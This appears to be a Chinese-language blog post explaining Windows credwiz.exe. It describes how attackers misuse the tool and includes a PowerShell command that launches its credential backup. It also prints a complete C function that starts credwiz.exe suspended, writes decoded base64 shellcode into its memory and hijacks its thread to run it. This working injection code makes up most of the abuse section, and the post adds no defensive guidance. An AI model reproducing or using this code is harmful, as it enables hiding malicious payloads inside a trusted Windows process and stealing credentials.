概述:Windows credwiz.exe 文件说明。本文主要说明其基本功能和被使用场景。

相关文章推荐:

credwiz.exe 是什么

credwisz.exe 是一个与 Windows Credential Manager 相关联的文件,该功能允许用户安全地存储和管理用户凭证,如用户名和密码。

启动后,credwiz.exe 打开 Windows 凭据管理器,允许用户查看、添加或备份、恢复或删除各种应用程序和网站的存储凭据。

credwiz.exe 利用

了解到 Credwiz.exe 可以备份用户账户凭证,就不难想象其可能会被利用的场景。

在很多 Windows 后门模块中,就有调用 Credwiz 来备份用户账户凭证的场景。

# 使用 credwiz.exe 备份凭据
Start-Process -FilePath "C:\Windows\System32\credwiz.exe" -ArgumentList "/backup" -Wait

以及被用来注入 ShellCode。Credwiz 是 Windows 的一个合法进程,拥有较高权限,容易被利用。

VOID InjectShellcode(OUT LPVOID lpOutputData, IN LPVOID lpInputData) {
 
	DWORD dwB64Size = MAX_DATA;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
 
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
 
	BOOL bSuccess = CreateProcess(L"C:\\Windows\\System32\\credwiz.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	
	// Allocate space for shellcode.
	LPVOID lpShellcode = VirtualAllocEx(pi.hProcess, NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	LPVOID lpTemp = VirtualAlloc(NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	
	
	DWORD dwB64 = 4096;
	CryptStringToBinaryA((LPCSTR)lpInputData, 0, CRYPT_STRING_BASE64, (BYTE*)lpTemp, &dwB64, NULL, NULL);
 
	SIZE_T dwWritten = 0;
	
	WriteProcessMemory(pi.hProcess, lpShellcode, lpTemp, MAX_DATA, &dwWritten);
	
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_FULL;
 
	GetThreadContext(pi.hThread, &ctx);
 
#ifdef _WIN64
	ctx.Rip = (DWORD64)lpShellcode;
#else
	ctx.Eip = (DWORD64)lpShellcode;
#endif
 
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
 
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
 
	VirtualFree(lpTemp, MAX_DATA, MEM_DECOMMIT);
 
	CopyMemory(lpOutputData, "DONE" ,4);
 
}

上述 shellcode 可能被用来加载一些恶意 dll,实现恶意代码的执行。